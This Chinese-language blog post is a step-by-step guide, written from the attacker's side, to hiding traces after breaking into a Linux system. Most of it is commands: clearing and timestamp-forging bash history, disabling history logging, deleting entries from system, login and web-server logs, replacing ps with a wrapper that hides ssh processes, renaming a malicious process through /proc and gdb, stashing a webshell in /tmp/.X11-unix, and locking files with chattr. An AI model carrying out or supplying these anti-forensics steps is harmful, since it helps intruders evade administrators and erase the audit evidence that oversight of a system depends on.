暴力撤退
直接杀死进程
kill -9 $$
相较于下面的隐匿操作,这个显得更加暴力,虽然确实有效但是相较于下面的绝对隐匿还是太危险了,首先强制终止进程可能导致系统异常被管理员发现,然后日志文件也会将事件记录,如果对文件进行操作时终止也会导致文件状态异常更加容易被发现
历史命令去痕
原理、本质
在打开一个bash shell 后,.bash_history文件中的内容会被加载到history的记录列表中,并且我们在这一个shell中执行的命令也会被追加到history列表中去,而当我们关闭这个shell时,history列表中的命令就会被写到.bash_history中进行持久化保存
历史命令清除
对于bash shell而言Linux系统会将用户在终端输入的命令记录在~/.bash_history文件中。
(明白这个原理后,我们的历史命令可以在保存入.bash_history中之前就进行清除,从而不会有痕迹)

清除
-
简单覆盖
> ~/.bash_history

但是这种清除方法比较明显,因为文件的时间戳也会被更新

-
伪造清除
先使用history命令进行清除,然后去改时间戳
echo "" > ~/.bash_history touch -d "yesterday" ~/.bash_history history -c

-
清除指定行到文件结尾的所有命令
这里用到流文本编辑器sed
sed -i '3,$d' ~/.bash_history
sed -i命令用于直接在文件中进行修改,而不是像普通的sed命令那样只是将修改后的内容输出到屏幕上。
不记录历史命令
空格+命令可以不触发命令记录
ls history

临时禁用历史命令
临时禁用历史命令记录
set +o history
重新启用历史命令记录
set -o history

修改环境变量HISTSIZE(历史命令记录数)
初始是1000条
export HISTSIZE=0

临走之前,不用给人家将那个HISTSIZE改回来,因为export所设置的是临时变量,当此shell进程结束时临时变量也会失效
隐匿
# 进入前先改环境变量 export HISTSIZE=0 # 临走时进行清除 history -c
如果想临走时给它原来的也清了可以用history -cw但是不利于隐匿
日志去痕
系统日志
/var/log/messages、/var/log/syslog 等
-
直接使用vi、nano文本编辑器进行删除
-
使用sed进行删除(当交互式编辑器失效时使用)
sed '/error/d' /var/log/messages
/error/是一个正则表达式,后面的d表示删除
用户登录日志
/var/log/auth.log(Debian、Ubuntu 等)或/var/log/secure(Red Hat、CentOS 等)
应用日志
/var/log/apache2/用于存储 Apache 服务器日志,/var/log/mysql/用于存储 MySQL 数据库日志
日志文件
ls -lh /var/log

进程隐匿
伪造ps命令
查看ps路径
which ps

用ps查看ssh进程
ps -ef | grep ssh
创建一个伪造的ps,位于/usr/local/bin/ps 路径中
# !/bin/bash
/usr/bin/ps $@ | grep -Ev 'ssh'
赋予执行权限
chmod +x /usr/local/bin/ps
重启shell(虽然已经伪造成功,但是目前调用的还是原来的那一个ps)

重启后查看,发现ssh进程已经被隐藏起来了

伪造ps正常进程
简单来说就是将恶意进程改为一个正常进程的名字,让管理员不容易发现
命令行参数修改
先查到需要伪装的恶意进程的ID
ps -ef | grep evil
这里假设evil进程的ID为1111
echo "ssh" > /proc/1111/cmdline
结合重定向输出将命令行参数修改
进程名称修改
需要先下载 gdb 工具
sudo gdb -p 1111 -ex "call prctl(15, \"ssh\", 0, 0, 0)" -ex "detach" -ex "quit"
这样就在名称和参数上对恶意进程进行伪装隐藏
拓展
类似与这种可以查到我们的命令都可以进行伪造,如将netstat进行伪造,隐藏自己ip。
管理员一般不会注意到ps的位置已经发生变化,它只在乎有没有风险
文件隐藏
隐藏文件
一般我们的恶意文件或者目录都放在隐藏目录中,就比如/tmp目录下就有隐藏的目录/tmp/.X11-unix等
mv muma.php /tmp/.X11-unix/hh.php
直接将木马隐藏到该隐藏目录下。

修改文件权限
使用chattr命令可以防止root和其他用户删除文件,并且ls -liah 无法排查
# 添加文件锁定属性 chattr +i 1.txt # 查看文件属性 lsattr 1.txt # 删除文件失败 rm -rf 1.txt # 删除锁定属性 chattr -i 1.txt rm -rf 1.txt

非特殊说明,本博所有文章均为博主原创。
共有 0 条评论